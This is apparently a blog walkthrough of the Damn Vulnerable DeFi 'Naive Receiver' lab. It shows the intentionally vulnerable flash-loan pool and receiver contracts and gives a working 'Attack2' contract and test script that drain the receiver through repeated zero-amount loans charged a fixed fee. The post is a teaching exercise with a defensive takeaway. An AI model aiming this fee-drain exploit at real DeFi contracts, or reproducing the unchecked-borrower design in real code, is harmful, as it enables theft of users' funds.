# Damn Vulnerable DeFi | 2 - Naive Receiver

## Goals

In the Naive Receiver challenge, we have to drain the user's contract (the `receiver` address in hardhat) in a single transaction. Note that we do not need to drain the pool, just the 10 ether from the receiver.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1714118220650/02607878-6c2c-4448-a597-fcda18d5e07c.png align="center")

[See the contracts](https://github.com/tinchoabbate/damn-vulnerable-defi/tree/v3.0.0/contracts/naive-receiver)

## The Contracts

```solidity
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "./NaiveReceiverLenderPool.sol";

/**
 * @title FlashLoanReceiver
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract FlashLoanReceiver is IERC3156FlashBorrower {

    address private pool;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    error UnsupportedCurrency();

    constructor(address _pool) {
        pool = _pool;
    }

    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {
        assembly { // gas savings
            if iszero(eq(sload(pool.slot), caller())) {
                mstore(0x00, 0x48f5c3ed)
                revert(0x1c, 0x04)
            }
        }
        
        if (token != ETH)
            revert UnsupportedCurrency();
        
        uint256 amountToBeRepaid;
        unchecked {
            amountToBeRepaid = amount + fee;
        }

        _executeActionDuringFlashLoan();

        // Return funds to pool
        SafeTransferLib.safeTransferETH(pool, amountToBeRepaid);

        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

    // Internal function where the funds received would be used
    function _executeActionDuringFlashLoan() internal { }

    // Allow deposits of ETH
    receive() external payable {}
}
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashLender.sol";
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
import "solady/src/utils/SafeTransferLib.sol";
import "./FlashLoanReceiver.sol";

/**
 * @title NaiveReceiverLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {

    address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    uint256 private constant FIXED_FEE = 1 ether; // not the cheapest flash loan
    bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");

    error RepayFailed();
    error UnsupportedCurrency();
    error CallbackFailed();

    function maxFlashLoan(address token) external view returns (uint256) {
        if (token == ETH) {
            return address(this).balance;
        }
        return 0;
    }

    function flashFee(address token, uint256) external pure returns (uint256) {
        if (token != ETH)
            revert UnsupportedCurrency();
        return FIXED_FEE;
    }

    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH)
            revert UnsupportedCurrency();
        
        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }

    // Allow deposits of ETH
    receive() external payable {}
}
```

A lot of code again. So let's try not to get overwhelmed and get a better understanding of those contracts.

## The Hack

Here is a simplified version of each contract, so we can have a clear view of what is doing what, and what we can mess with.

```solidity
// Contract 1: request flash loan
contract NaiveReceiverLenderPool is ReentrancyGuard, IERC3156FlashLender {
    uint256 private constant FIXED_FEE = 1 ether;

    function maxFlashLoan(address token) external view returns (uint256) {}
    function flashFee(address token, uint256) external pure returns (uint256) {}
    function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {}
}
```

```solidity
// Contract 2: receive flash loan
contract FlashLoanReceiver is IERC3156FlashBorrower {
    function onFlashLoan(
        address,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata
    ) external returns (bytes32) {}
}
```

Much better, right? And let's not forget the `receiver` address that we have to drain. In other word, we have:

* a `flashloan()` function used to request a flashloan;
    
* a `onFlashLoan()` callback function used to interact with the loan once we received the loan;
    

Not so impressive anymore. We know that we can request up to 1000 ETH, and that each loan will cost us 1 ETH. So let's check the `flashloan()` function since it is where everything starts:

```solidity
function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool) {
        if (token != ETH) revert UnsupportedCurrency();
        
        uint256 balanceBefore = address(this).balance;

        // Transfer ETH and handle control to receiver
        SafeTransferLib.safeTransferETH(address(receiver), amount);
        if(receiver.onFlashLoan(
            msg.sender,
            ETH,
            amount,
            FIXED_FEE,
            data
        ) != CALLBACK_SUCCESS) {
            revert CallbackFailed();
        }

        if (address(this).balance < balanceBefore + FIXED_FEE)
            revert RepayFailed();

        return true;
    }
```

Everything seems correct. The function takes 4 parameters:

1. **receiver**: the receiver of the loan
    
2. **token**: the requested loaned token (has to be ETH, so we can forget that)
    
3. **amount**: the desired amount (up to 1000 ETH)
    
4. **data**: some data that can be passed to the `onFlashLoan()` callback
    

So far, so good. The function prevents us from borrowing anything other than ETH, then checks the `balanceBefore` before sending the loan, checks that the callback succeeded, and then checks that the repaid amount matches the loan + the fee.

So what if we take a loan? Well, each loan will cost us 1 ETH! We don't really want to do that. However, the receiver has 10 ETH that we have to drain...

If we look at the `flashloan()` function again, we can see that there is no check for the recipient of the loan and no minimum amount requirement as well. So what if we pass the `receiver` address as the receiver of a 0 ether flash loan?

Well, the flash loan will succeed and it will have cost 1 ether to the `receiver`!

Seems like we are now on a good way toward the solution. We can repeat that 10 times, or craft a small contract that will execute a loop for us in a single transaction.

## Solution

Let's implement the **Naive Receiver** solution accordingly.

```javascript
 it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    // In 10 transactions:
    const ETH = await pool.ETH();
    for (let i = 0; i < 10; i++) {
        await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");
    }  
});
```

The above solution works fine, but to complete the challenge in a single transaction, we have to craft a smart contract:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

interface IPool {
    function flashLoan(
        address receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external returns (bool);
}

contract Attack2 {
    address private immutable pool;
    address private immutable receiver;
    address private constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;

    constructor(address _pool, address _receiver) {
        pool = _pool;
        receiver = _receiver;
    }

    function attack() external {
        for (uint256 i = 0; i < 10; ) {
            IPool(pool).flashLoan(receiver, ETH, 0, "");
            unchecked {
                ++i;
            }
        }
    }
}
```

> Note: The `unchecked{ ++i; }` is just a good gas optimization practice for bounded for loop.

Now, we have to adjust the test file a bit:

```javascript
it("Execution", async function () {
    /** CODE YOUR SOLUTION HERE */

    // In 10 transactions:
    // const ETH = await pool.ETH();
    // for (let i = 0; i < 10; i++) {
    //   await pool.connect(player).flashLoan(receiver.address, ETH, 1n, "0x");
    // }

    // 1 transaction:
    const Attack2 = await ethers.getContractFactory("Attack2", deployer);
    const attack2 = await Attack2.deploy(pool.address, receiver.address);

    await attack2.attack();
  });
```

Then we just have to run the test with the following command:

```bash
yarn naive-receiver
```

And we get the following printed in the terminal:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1714213049247/266eb563-b0d6-498f-a89e-c616b0b91a86.png align="left")

Congrats! You just beat the level 2 of Damn Vulnerable DeFi.

**🎉 Level completed 🎉**

## Takeaway

* Always validate all sensitive inputs before executing any logic.
    

---

You can find all the codes, challenges, and their solutions on my GitHub: [https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions](https://github.com/Pedrojok01/Damn-Vulnerable-Defi-Solutions)
